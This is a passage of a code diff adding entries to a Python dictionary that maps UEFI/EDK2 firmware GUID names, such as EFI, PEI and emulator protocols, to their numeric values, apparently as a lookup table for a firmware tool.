'EFI_SWAP_ADDRESS_RANGE_PROTOCOL_GUID': [0x1259f60d, 0xb754, 0x468e, 0xa7, 0x89, 0x4d, 0xb8, 0x5d, 0x55, 0xe8, 0x7e], + 'EFI_SYSTEM_NV_DATA_FV_GUID': [0xfff12b8d, 0x7696, 0x4c8b, 0xa9, 0x85, 0x27, 0x47, 0x7, 0x5b, 0x4f, 0x50], + 'EFI_SYSTEM_NV_DATA_HOB_GUID': [0xd6e5092d, 0xc7b2, 0x4872, 0xaf, 0x66, 0xfd, 0xc0, 0xe6, 0xf9, 0x5e, 0x78], + 'EFI_TAPE_IO_PROTOCOL_GUID': [0x1e93e633, 0xd65a, 0x459e, 0xab, 0x84, 0x93, 0xd9, 0xec, 0x26, 0x6d, 0x18], + 'EFI_TCG_EVENT_HOB_GUID': [0x2e3044ac, 0x879f, 0x490f, 0x97, 0x60, 0xbb, 0xdf, 0xaf, 0x69, 0x5f, 0x50], + 'EFI_TCG_PLATFORM_PROTOCOL_GUID': [0x8c4c9a41, 0xbf56, 0x4627, 0x9e, 0xa, 0xc8, 0x38, 0x6d, 0x66, 0x11, 0x5c], + 'EFI_TCG_PROTOCOL_GUID': [0xf541796d, 0xa62e, 0x4954, 0xa7, 0x75, 0x95, 0x84, 0xf6, 0x1b, 0x9c, 0xdd], + 'EFI_TCP4_PROTOCOL_GUID': [0x65530BC7, 0xA359, 0x410f, 0xB0, 0x10, 0x5A, 0xAD, 0xC7, 0xEC, 0x2B, 0x62], + 'EFI_TCP4_SERVICE_BINDING_PROTOCOL_GUID': [0x00720665, 0x67EB, 0x4a99, 0xBA, 0xF7, 0xD3, 0xC3, 0x3A, 0x1C, 0x7C, 0xC9], + 'EFI_TCP6_PROTOCOL_GUID': [0x46e44855, 0xbd60, 0x4ab7, 0xab, 0x0d, 0xa6, 0x79, 0xb9, 0x44, 0x7d, 0x77], + 'EFI_TCP6_SERVICE_BINDING_PROTOCOL_GUID': [0xec20eb79, 0x6c1a, 0x4664, 0x9a, 0x0d, 0xd2, 0xe4, 0xcc, 0x16, 0xd6, 0x64], + 'EFI_TCP_PROTOCOL_GUID': [0x02b3d5f2, 0xac28, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_TIANO_DECOMPRESS_PROTOCOL_GUID': [0xe84cf29c, 0x191f, 0x4eae, 0x96, 0xe1, 0xf4, 0x6a, 0xec, 0xea, 0xea, 0x0b], + 'EFI_TIMER_ARCH_PROTOCOL_GUID': [0x26baccb3, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_TSC_FREQUENCY_GUID': [0xdba6a7e3, 0xbb57, 0x4be7, 0x8a, 0xf8, 0xd5, 0x78, 0xdb, 0x7e, 0x56, 0x87], + 'EFI_UART_DEVICE_PATH_GUID': [0x37499a9d, 0x542f, 0x4c89, 0xa0, 0x26, 0x35, 0xda, 0x14, 0x20, 0x94, 0xe4], + 'EFI_UDP4_PROTOCOL_GUID': [0x3ad9df29, 0x4501, 0x478d, 0xb1, 0xf8, 0x7f, 0x7f, 0xe7, 0x0e, 0x50, 0xf3], + 'EFI_UDP4_SERVICE_BINDING_PROTOCOL_GUID': [0x83f01464, 0x99bd, 0x45e5, 0xb3, 0x83, 0xaf, 0x63, 0x05, 0xd8, 0xe9, 0xe6], + 'EFI_UDP6_PROTOCOL_GUID': [0x4f948815, 0xb4b9, 0x43cb, 0x8a, 0x33, 0x90, 0xe0, 0x60, 0xb3, 0x49, 0x55], + 'EFI_UDP6_SERVICE_BINDING_PROTOCOL_GUID': [0x66ed4721, 0x3c98, 0x4d3e, 0x81, 0xe3, 0xd0, 0x3d, 0xd3, 0x9a, 0x72, 0x54], + 'EFI_UGA_DRAW_PROTOCOL_GUID': [0x982c298b, 0xf4fa, 0x41cb, 0xb8, 0x38, 0x77, 0xaa, 0x68, 0x8f, 0xb8, 0x39], + 'EFI_UGA_IO_PROTOCOL_GUID': [0x61a4d49e, 0x6f68, 0x4f1b, 0xb9, 0x22, 0xa8, 0x6e, 0xed, 0xb, 0x7, 0xa2], + 'EFI_UGA_SPLASH_PROTOCOL_GUID': [0xa45b3a0d, 0x2e55, 0x4c03, 0xad, 0x9c, 0x27, 0xd4, 0x82, 0xb, 0x50, 0x7e], + 'EFI_UNICODE_COLLATION2_PROTOCOL_GUID': [0xa4c751fc, 0x23ae, 0x4c3e, 0x92, 0xe9, 0x49, 0x64, 0xcf, 0x63, 0xf3, 0x49], + 'EFI_UNICODE_COLLATION_PROTOCOL2_GUID': [0xa4c751fc, 0x23ae, 0x4c3e, 0x92, 0xe9, 0x49, 0x64, 0xcf, 0x63, 0xf3, 0x49], + 'EFI_UNICODE_COLLATION_PROTOCOL_GUID': [0x1d85cd7f, 0xf43d, 0x11d2, 0x9a, 0xc, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_UNIX_CONSOLE_GUID': [0xf2cc5d06, 0x8985, 0x11db, 0xbb, 0x19, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_CPU_MODEL_GUID': [0xf2d3b330, 0x8985, 0x11db, 0x8a, 0xa3, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_CPU_SPEED_GUID': [0xf2d74e5a, 0x8985, 0x11db, 0x97, 0x05, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_FILE_SYSTEM_GUID': [0xf2c16b9e, 0x8985, 0x11db, 0x92, 0xc8, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_GOP_GUID': [0xbace07c2, 0x8987, 0x11db, 0xa5, 0x9a, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_IO_PROTOCOL_GUID': [0xf2e23f54, 0x8985, 0x11db, 0xac, 0x79, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_MEMORY_GUID': [0xf2d006cc, 0x8985, 0x11db, 0xa4, 0x72, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_NETWORK_GUID': [0x081603B4, 0x0F1D, 0x4022, 0xB6, 0xFD, 0x4C, 0xE3, 0x5E, 0x09, 0xA1, 0xA6], + 'EFI_UNIX_PHYSICAL_DISKS_GUID': [0xf2bdcc96, 0x8985, 0x11db, 0x87, 0x19, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_SERIAL_PORT_GUID': [0x6d3a727d, 0x66c8, 0x4d19, 0x87, 0xe6, 0x2, 0x15, 0x86, 0x14, 0x90, 0xf3], + 'EFI_UNIX_THUNK_PROTOCOL_GUID': [0xf2e98868, 0x8985, 0x11db, 0x9a, 0x59, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_UGA_GUID': [0xf2c8b80e, 0x8985, 0x11db, 0x93, 0xf1, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_UGA_IO_PROTOCOL_GUID': [0xf2e5e2c6, 0x8985, 0x11db, 0xa1, 0x91, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UNIX_VIRTUAL_DISKS_GUID': [0xf2ba331a, 0x8985, 0x11db, 0xa4, 0x06, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'EFI_UPDATE_DATA_FILE_GUID': [0x283fa2ee, 0x532c, 0x484d, 0x93, 0x83, 0x9f, 0x93, 0xb3, 0x6f, 0xb, 0x7e], + 'EFI_USB2_HC_PROTOCOL_GUID': [0x3e745226, 0x9818, 0x45b6, 0xa2, 0xac, 0xd7, 0xcd, 0xe, 0x8b, 0xa2, 0xbc], + 'EFI_USB_ATAPI_PROTOCOL_GUID': [0x2B2F68DA, 0x0CD2, 0x44cf, 0x8E, 0x8B, 0xBB, 0xA2, 0x0B, 0x1B, 0x5B, 0x75], + 'EFI_USB_BUS_PROTOCOL_GUID': [0x2B2F68CC, 0x0CD2, 0x44cf, 0x8E, 0x8B, 0xBB, 0xA2, 0x0B, 0x1B, 0x5B, 0x75], + 'EFI_USB_HC_PROTOCOL_GUID': [0xf5089266, 0x1aa0, 0x4953, 0x97, 0xd8, 0x56, 0x2f, 0x8a, 0x73, 0xb5, 0x19], + 'EFI_USB_IO_PROTOCOL_GUID': [0x2B2F68D6, 0x0CD2, 0x44cf, 0x8E, 0x8B, 0xBB, 0xA2, 0x0B, 0x1B, 0x5B, 0x75], + 'EFI_USER_CREDENTIAL2_PROTOCOL_GUID': [0xe98adb03, 0xb8b9, 0x4af8, 0xba, 0x20, 0x26, 0xe9, 0x11, 0x4c, 0xbc, 0xe5], + 'EFI_USER_CREDENTIAL_PROTOCOL_GUID': [0x71ee5e94, 0x65b9, 0x45d5, 0x82, 0x1a, 0x3a, 0x4d, 0x86, 0xcf, 0xe6, 0xbe], + 'EFI_USER_INFO_ACCESS_SETUP_ADMIN_GUID': [0x85b75607, 0xf7ce, 0x471e, 0xb7, 0xe4, 0x2a, 0xea, 0x5f, 0x72, 0x32, 0xee], + 'EFI_USER_INFO_ACCESS_SETUP_NORMAL_GUID': [0x1db29ae0, 0x9dcb, 0x43bc, 0x8d, 0x87, 0x5d, 0xa1, 0x49, 0x64, 0xdd, 0xe2], + 'EFI_USER_INFO_ACCESS_SETUP_RESTRICTED_GUID': [0xbdb38125, 0x4d63, 0x49f4, 0x82, 0x12, 0x61, 0xcf, 0x5a, 0x19, 0xa, 0xf8], + 'EFI_USER_MANAGER_PROTOCOL_GUID': [0x6fd5b00c, 0xd426, 0x4283, 0x98, 0x87, 0x6c, 0xf5, 0xcf, 0x1c, 0xb1, 0xfe], + 'EFI_UXIX_SYSTEM_CONFIG_GUID': [0x375ea976, 0x3ccd, 0x4e74, 0xa8, 0x45, 0x26, 0xb9, 0xb3, 0x24, 0xb1, 0x3c], + 'EFI_VARIABLE_ARCH_PROTOCOL_GUID': [0x1e5668e2, 0x8481, 0x11d4, 0xbc, 0xf1, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_VARIABLE_GUID': [0xddcf3616, 0x3275, 0x4164, 0x98, 0xb6, 0xfe, 0x85, 0x70, 0x7f, 0xfe, 0x7d], + 'EFI_VARIABLE_INDEX_TABLE_GUID': [0x8cfdb8c8, 0xd6b2, 0x40f3, 0x8e, 0x97, 0x02, 0x30, 0x7c, 0xc9, 0x8b, 0x7c], + 'EFI_VARIABLE_STORE_PROTOCOL_GUID': [0xf088cd91, 0xa046, 0x11d2, 0x8e, 0x42, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_VARIABLE_WRITE_ARCH_PROTOCOL_GUID': [0x6441f818, 0x6362, 0x4e44, 0xb5, 0x70, 0x7d, 0xba, 0x31, 0xdd, 0x24, 0x53], + 'EFI_VGA_MINI_PORT_PROTOCOL_GUID': [0xc7735a2f, 0x88f5, 0x4882, 0xae, 0x63, 0xfa, 0xac, 0x8c, 0x8b, 0x86, 0xb3], + 'EFI_VIRTUAL_MEMORY_ACCESS_PROTOCOL_GUID': [0x745d377a, 0xb988, 0x47b2, 0xb1, 0x8f, 0xbb, 0xc8, 0xd, 0xc5, 0x66, 0x98], + 'EFI_VLAN_CONFIG_PROTOCOL_GUID': [0x9e23d768, 0xd2f3, 0x4366, 0x9f, 0xc3, 0x3a, 0x7a, 0xba, 0x86, 0x43, 0x74], + 'EFI_VT_100_GUID': [0xdfa66065, 0xb419, 0x11d3, 0x9a, 0x2d, 0x00, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_VT_100_PLUS_GUID': [0x7baec70b, 0x57e0, 0x4c76, 0x8e, 0x87, 0x2f, 0x9e, 0x28, 0x08, 0x83, 0x43], + 'EFI_VT_UTF8_GUID': [0xad15a0d6, 0x8bec, 0x4acf, 0xa0, 0x73, 0xd0, 0x1d, 0xe7, 0x7e, 0x2d, 0x88], + 'EFI_WATCHDOG_TIMER_ARCH_PROTOCOL_GUID': [0x665E3FF5, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_WIN_NT_CONSOLE_GUID': [0xba73672c, 0xa5d3, 0x11d4, 0xbd, 0x0, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_CPU_MODEL_GUID': [0xbee9b6ce, 0x2f8a, 0x11d4, 0xbd, 0xd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_CPU_SPEED_GUID': [0xd4f29055, 0xe1fb, 0x11d4, 0xbd, 0xd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_FILE_SYSTEM_GUID': [0xc95a935, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_GOP_GUID': [0x4e11e955, 0xccca, 0x11d4, 0xbd, 0xd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_IO_PROTOCOL_GUID': [0x96eb4ad6, 0xa32a, 0x11d4, 0xbc, 0xfd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_MEMORY_GUID': [0x99042912, 0x122a, 0x11d4, 0xbd, 0xd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_PASS_THROUGH_GUID': [0xcc664eb8, 0x3c24, 0x4086, 0xb6, 0xf6, 0x34, 0xe8, 0x56, 0xbc, 0xe3, 0x6e], + 'EFI_WIN_NT_PHYSICAL_DISKS_GUID': [0xc95a92f, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_SERIAL_PORT_GUID': [0xc95a93d, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_SYSTEM_CONFIG_GUID': [0xb347f047, 0xaf8c, 0x490e, 0xac, 0x07, 0x0a, 0xa9, 0xb7, 0xe5, 0x38, 0x58], + 'EFI_WIN_NT_THUNK_PROTOCOL_GUID': [0x58c518b1, 0x76f3, 0x11d4, 0xbc, 0xea, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_UGA_GUID': [0xab248e99, 0xabe1, 0x11d4, 0xbd, 0xd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_WIN_NT_VIRTUAL_DISKS_GUID': [0xc95a928, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_XEN_INFO_GUID': [0xd3b46f3b, 0xd441, 0x1244, 0x9a, 0x12, 0x0, 0x12, 0x27, 0x3f, 0xc1, 0x4d], + 'EMBEDDED_DEVICE_PROTOCOL_GUID': [0xbf4b9d10, 0x13ec, 0x43dd, 0x88, 0x80, 0xe9, 0xb, 0x71, 0x8f, 0x27, 0xde], + 'EMBEDDED_EXTERNAL_DEVICE_PROTOCOL_GUID': [0x735F8C64, 0xD696, 0x44D0, 0xBD, 0xF2, 0x44, 0x7F, 0xD0, 0x5A, 0x54, 0x06], + 'EMU_BLOCK_IO_PROTOCOL_GUID': [0x6888A4AE, 0xAFCE, 0xE84B, 0x91, 0x02, 0xF7, 0xB9, 0xDA, 0xE6, 0xA0, 0x30], + 'EMU_GRAPHICS_WINDOW_PROTOCOL_GUID': [0x30FD316A, 0x6728, 0x2E41, 0xA6, 0x90, 0x0D, 0x13, 0x33, 0xD8, 0xCA, 0xC1], + 'EMU_IO_THUNK_PROTOCO_GUID': [0x453368F6, 0x7C85, 0x434A, 0xA9, 0x8A, 0x72, 0xD1, 0xB7, 0xFF, 0xA9, 0x26], + 'EMU_SNP_PROTOCOL_GUID': [0xFD5FBE54, 0x8C35, 0xB345, 0x8A, 0x0F, 0x7A, 0xC8, 0xA5, 0xFD, 0x05, 0x21], + 'EMU_THUNK_PPI_GUID': [0xB958B78C, 0x1D3E, 0xEE40, 0x8B, 0xF4, 0xF0, 0x63, 0x2D, 0x06, 0x39, 0x16], + 'EMU_THUNK_PROTOCOL_GUID': [0x5CF32E0B, 0x8EDF, 0x2E44, 0x9C, 0xDA, 0x93, 0x20, 0x5E, 0x99, 0xEC, 0x1C], + 'EXTENDED_SAL_BOOT_SERVICE_PROTOCOL_GUID': [0xde0ee9a4, 0x3c7a, 0x44f2, 0xb7, 0x8b, 0xe3, 0xcc, 0xd6, 0x9c, 0x3a, 0xf7], + 'EXTENDED_SAL_BOOT_SERVICE_PROTOCOL_GUID': [0xde0ee9a4, 0x3c7a, 0x44f2, 0xb7, 0x8b, 0xe3, 0xcc, 0xd6, 0x9c, 0x3a, 0xf7], + 'FFS_GUID': [0xac05bf33, 0x995a, 0x4ed4, 0xaa, 0xb8, 0xef, 0x7a, 0xe8, 0xf, 0x5c, 0xb0], + 'FILE_EXPLORE_FORMSET_GUID': [0x1f2d63e1, 0xfebd, 0x4dc7, 0x9c, 0xc5, 0xba, 0x2b, 0x1c, 0xef, 0x9c, 0x5b], + 'FILE_GUID': [0xcbd2e4d5, 0x7068, 0x4ff5, 0xb4, 0x62, 0x98, 0x22, 0xb4, 0xad, 0x8d, 0x60], + 'FORM_BROWSER_EXTENSION_PROTOCOL_GUID': [0x1f73b18d, 0x4630, 0x43c1, 0xa1, 0xde, 0x6f, 0x80, 0x85, 0x5d, 0x7d, 0xa4], + 'FRAMEWORK_BDS_FRONTPAGE_FORMSET_GUID': [0x9e0c30bc, 0x3f06, 0x4ba6, 0x82, 0x88, 0x9, 0x17, 0x9b, 0x85, 0x5d, 0xbe], + 'FRAMEWORK_EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL_GUID': [0xDE28BC59, 0x6228, 0x41BD, 0xBD, 0xF6, 0xA3, 0xB9, 0xAD, 0xB5, 0x8D, 0xA1], + 'FRAMEWORK_EFI_MP_SERVICES_PROTOCOL_GUID': [0xf33261e7, 0x23cb, 0x11d5, 0xbd, 0x5c, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'FRONT_PAGE_FORMSET_GUID': [0x9e0c30bc, 0x3f06, 0x4ba6, 0x82, 0x88, 0x9, 0x17, 0x9b, 0x85, 0x5d, 0xbe], + 'HANDLE_PARSING_HII_GUID': [0xb8969637, 0x81de, 0x43af, 0xbc, 0x9a, 0x24, 0xd9, 0x89, 0x13, 0xf2, 0xf6], + 'HD_BOOT_DEVICE_PATH_VARIABLE_GUID': [0xfab7e9e1, 0x39dd, 0x4f2b, 0x84, 0x8, 0xe2, 0xe, 0x90, 0x6c, 0xb6, 0xde], + 'HII_RESOURCE_SAMPLE_FORM_SET_GUID': [0x4f4ef7f0, 0xaa29, 0x4ce9, 0xba, 0x41, 0x64, 0x3e, 0x1, 0x23, 0xa9, 0x9f], + 'HOB_LIST_GUID': [0x7739f24c, 0x93d7, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'HOT_PLUG_DEVICE_GUID': [0x220ac432, 0x1d43, 0x49e5, 0xa7, 0x4f, 0x4c, 0x9d, 0xa6, 0x7a, 0xd2, 0x3b], + 'IDLE_LOOP_EVENT_GUID': [0x3c8d294c, 0x5fc3, 0x4451, 0xbb, 0x31, 0xc4, 0xc0, 0x32, 0x29, 0x5e, 0x6c], + 'INTEL_FRAMEWORK_MODULEPKG_TOKEN_SPACE_GUID': [0xD3705011, 0xBC19, 0x4af7, 0xBE, 0x16, 0xF6, 0x80, 0x30, 0x37, 0x8C, 0x15], + 'IP4_ISCSI_CONFIG_GUID': [0x6456ed61, 0x3579, 0x41c9, 0x8a, 0x26, 0x0a, 0x0b, 0xd6, 0x2b, 0x78, 0xfc], + 'IP6_CONFIG_NVDATA_GUID': [0x2eea107, 0x98db, 0x400e, 0x98, 0x30, 0x46, 0xa, 0x15, 0x42, 0xd7, 0x99], + 'ISCSI_CHAP_AUTH_INFO_GUID': [0x786ec0ac, 0x65ae, 0x4d1b, 0xb1, 0x37, 0xd, 0x11, 0xa, 0x48, 0x37, 0x97], + 'ISCSI_CONFIG_GUID': [0x4b47d616, 0xa8d6, 0x4552, 0x9d, 0x44, 0xcc, 0xad, 0x2e, 0xf, 0x4c, 0xf9], + 'ISCSI_V4_PRIVATE_GUID': [0xfa3cde4c, 0x87c2, 0x427d, 0xae, 0xde, 0x7d, 0xd0, 0x96, 0xc8, 0x8c, 0x58], + 'ISCSI_V6_PRIVATE_GUID': [0x28be27e5, 0x66cc, 0x4a31, 0xa3, 0x15, 0xdb, 0x14, 0xc3, 0x74, 0x4d, 0x85], + 'LAST_ENUM_LANGUAGE_GUID': [0xe8c545b, 0xa2ee, 0x470d, 0x8e, 0x26, 0xbd, 0xa1, 0xa1, 0x3c, 0xa, 0xa3], + 'LDR_MEMORY_DESCRIPTOR_GUID': [0x7701d7e5, 0x7d1d, 0x4432, 0xa4, 0x68, 0x67, 0x3d, 0xab, 0x8a, 0xde, 0x60], + 'LOAD_FILE_PROTOCOL_GUID': [0x56EC3091, 0x954C, 0x11d2, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B], + 'LOCAL_EFI_WIN_NT_BUS_DRIVER_IO_PROTOCOL_GUID': [0x96eb4ad6, 0xa32a, 0x11d4, 0xbc, 0xfd, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'LOCAL_EFI_WIN_NT_SERIAL_PORT_GUID': [0xc95a93d, 0xa006, 0x11d4, 0xbc, 0xfa, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'LOCAL_EFI_WIN_NT_THUNK_PROTOCOL_GUID': [0x58c518b1, 0x76f3, 0x11d4, 0xbc, 0xea, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'LZMAF86_CUSTOM_DECOMPRESS_GUID': [0xD42AE6BD, 0x1352, 0x4bfb, 0x90, 0x9A, 0xCA, 0x72, 0xA6, 0xEA, 0xE8, 0x89], + 'LZMA_CUSTOM_DECOMPRESS_GUID': [0xEE4E5898, 0x3914, 0x4259, 0x9D, 0x6E, 0xDC, 0x7B, 0xD7, 0x94, 0x03, 0xCF], + 'MDEMODULEPKG_TOKEN_SPACE_GUID': [0xA1AFF049, 0xFDEB, 0x442a, 0xB3, 0x20, 0x13, 0xAB, 0x4C, 0xB7, 0x2B, 0xBC], + 'MDEPKG_TOKEN_SPACE_GUID': [0x914AEBE7, 0x4635, 0x459b, 0xAA, 0x1C, 0x11, 0xE2, 0x19, 0xB0, 0x3A, 0x10], + 'MEMORY_ONLY_RESET_CONTROL_GUID': [0xe20939be, 0x32d4, 0x41be, 0xa1, 0x50, 0x89, 0x7f, 0x85, 0xd4, 0x98, 0x29], + 'MEMORY_STATUS_CODE_RECORD_GUID': [0x60cc026, 0x4c0d, 0x4dda, 0x8f, 0x41, 0x59, 0x5f, 0xef, 0x0, 0xa5, 0x2], + 'MTC_VENDOR_GUID': [0xeb704011, 0x1402, 0x11d3, 0x8e, 0x77, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'MY_GUID': [0x12345678, 0xAABB, 0xCCDD, 0xEE, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66], + 'NT_FWH_PPI_GUID': [0x4e76928f, 0x50ad, 0x4334, 0xb0, 0x6b, 0xa8, 0x42, 0x13, 0x10, 0x8a, 0x57], + 'PCATCHIPSET_TOKEN_SPACE_GUID': [0x326ae723, 0xae32, 0x4589, 0x98, 0xb8, 0xca, 0xc2, 0x3c, 0xdc, 0xc1, 0xb1], + 'PCD_DATABASE_HOB_GUID': [0xEA296D92, 0x0B69, 0x423C, 0x8C, 0x28, 0x33, 0xB4, 0xE0, 0xA9, 0x12, 0x68], + 'PCD_PPI_GUID': [0x6e81c58, 0x4ad7, 0x44bc, 0x83, 0x90, 0xf1, 0x2, 0x65, 0xf7, 0x24, 0x80], + 'PCD_PROTOCOL_GUID': [0x11b34006, 0xd85b, 0x4d0a, 0xa2, 0x90, 0xd5, 0xa5, 0x71, 0x31, 0xe, 0xf7], + 'PE32_IMAGE_PROTOCOL_GUID': [0x5cb5c776, 0x60d5, 0x45ee, 0x88, 0x3c, 0x45, 0x27, 0x8, 0xcd, 0x74, 0x3f], + 'PEI_ATA_CONTROLLER_PPI_GUID': [0xa45e60d1, 0xc719, 0x44aa, 0xb0, 0x7a, 0xaa, 0x77, 0x7f, 0x85, 0x90, 0x6d], + 'PEI_BASE_MEMORY_TEST_GUID': [0xb6ec423c, 0x21d2, 0x490d, 0x85, 0xc6, 0xdd, 0x58, 0x64, 0xea, 0xa6, 0x74], + 'PEI_BLOCK_IO_PPI_GUID': [0x695d8aa1, 0x42ee, 0x4c46, 0x80, 0x5c, 0x6e, 0xa6, 0xbc, 0xe7, 0x99, 0xe3], + 'PEI_BOOT_SCRIPT_EXECUTER_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0x0b, 0xfb, 0xff], + 'PEI_CAPSULE_PPI_GUID': [0x3acf33ee, 0xd892, 0x40f4, 0xa2, 0xfc, 0x38, 0x54, 0xd2, 0xe1, 0x32, 0x3d], + 'PEI_CPU_IO_PPI_GUID': [0xe6af1f7b, 0xfc3f, 0x46da, 0xa8, 0x28, 0xa3, 0xb4, 0x57, 0xa4, 0x42, 0x82], + 'PEI_END_OF_PEI_PHASE_PPI_GUID': [0x605EA650, 0xC65C, 0x42e1, 0xBA, 0x80, 0x91, 0xA5, 0x2A, 0xB6, 0x18, 0xC6], + 'PEI_FLASH_MAP_PPI_GUID': [0xf34c2fa0, 0xde88, 0x4270, 0x84, 0x14, 0x96, 0x12, 0x22, 0xf4, 0x52, 0x1c], + 'PEI_IN_MEMORY_GUID': [0x643b8786, 0xb417, 0x48d2, 0x8f, 0x5e, 0x78, 0x19, 0x93, 0x1c, 0xae, 0xd8], + 'PEI_LOCK_PHYSICAL_PRESENCE_PPI_GUID': [0xef9aefe5, 0x2bd3, 0x4031, 0xaf, 0x7d, 0x5e, 0xfe, 0x5a, 0xbb, 0x9a, 0xd], + 'PEI_NT_THUNK_GUID': [0x98c281e5, 0xf906, 0x43dd, 0xa9, 0x2b, 0xb0, 0x3, 0xbf, 0x27, 0x65, 0xda], + 'PEI_NT_THUNK_PPI_GUID': [0x98c281e5, 0xf906, 0x43dd, 0xa9, 0x2b, 0xb0, 0x3, 0xbf, 0x27, 0x65, 0xda], + 'PEI_OPERATOR_PRESENCE_PPI_GUID': [0x20a7378c, 0xaa83, 0x4ce1, 0x82, 0x1f, 0x47, 0x40, 0xee, 0x1b, 0x3f, 0x9f], + 'PEI_PCI_CFG_PPI_GUID': [0xe1f2eba0, 0xf7b9, 0x4a26, 0x86, 0x20, 0x13, 0x12, 0x21, 0x64, 0x2a, 0x90], + 'PEI_PERMANENT_MEMORY_INSTALLED_PPI_GUID': [0xf894643d, 0xc449, 0x42d1, 0x8e, 0xa8, 0x85, 0xbd, 0xd8, 0xc6, 0x5b, 0xde], + 'PEI_READ_ONLY_VARIABLE_ACCESS_PPI_GUID': [0x3cdc90c6, 0x13fb, 0x4a75, 0x9e, 0x79, 0x59, 0xe9, 0xdd, 0x78, 0xb9, 0xfa], + 'PEI_RESET_PPI_GUID': [0xef398d58, 0x9dfd, 0x4103, 0xbf, 0x94, 0x78, 0xc6, 0xf4, 0xfe, 0x71, 0x2f], + 'PEI_S3_RESUME_PPI_GUID': [0x4426CCB2, 0xE684, 0x4a8a, 0xAE, 0x40, 0x20, 0xD4, 0xB0, 0x25, 0xB7, 0x10], + 'PEI_SECURITY_PPI_GUID': [0x1388066e, 0x3a57, 0x4efa, 0x98, 0xf3, 0xc1, 0x2f, 0x3a, 0x95, 0x8a, 0x29], + 'PEI_SEC_PERFORMANCE_PPI_GUID': [0x0ecc666b, 0x4662, 0x47f9, 0x9d, 0xd5, 0xd0, 0x96, 0xff, 0x7d, 0xa4, 0x9e], + 'PEI_SMBUS2_PPI_GUID': [0x9ca93627, 0xb65b, 0x4324, 0xa2, 0x2, 0xc0, 0xb4, 0x61, 0x76, 0x45, 0x43], + 'PEI_SMBUS_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0xb, 0xfb, 0xda], + 'PEI_SMM_ACCESS_PPI_GUID': [0x268f33a9, 0xcccd, 0x48be, 0x88, 0x17, 0x86, 0x5, 0x3a, 0xc3, 0x2e, 0xd6], + 'PEI_SMM_CONTROL_PPI_GUID': [0x61c68702, 0x4d7e, 0x4f43, 0x8d, 0xef, 0xa7, 0x43, 0x5, 0xce, 0x74, 0xc5], + 'PEI_STALL_PPI_GUID': [0x1f4c6f90, 0xb06b, 0x48d8, 0xa2, 0x01, 0xba, 0xe5, 0xf1, 0xcd, 0x7d, 0x56], + 'PEI_STATUS_CODE_MEMORY_PPI_GUID': [0x26f8ab01, 0xd3cd, 0x489c, 0x98, 0x4f, 0xdf, 0xde, 0xf7, 0x68, 0x39, 0x5b], + 'PEI_STATUS_CODE_PPI_GUID': [0x229832d3, 0x7a30, 0x4b36, 0xb8, 0x27, 0xf4, 0xc, 0xb7, 0xd4, 0x54, 0x36], + 'PEI_TPM_INITIALIZED_PPI_GUID': [0xe9db0d58, 0xd48d, 0x47f6, 0x9c, 0x6e, 0x6f, 0x40, 0xe8, 0x6c, 0x7b, 0x41], + 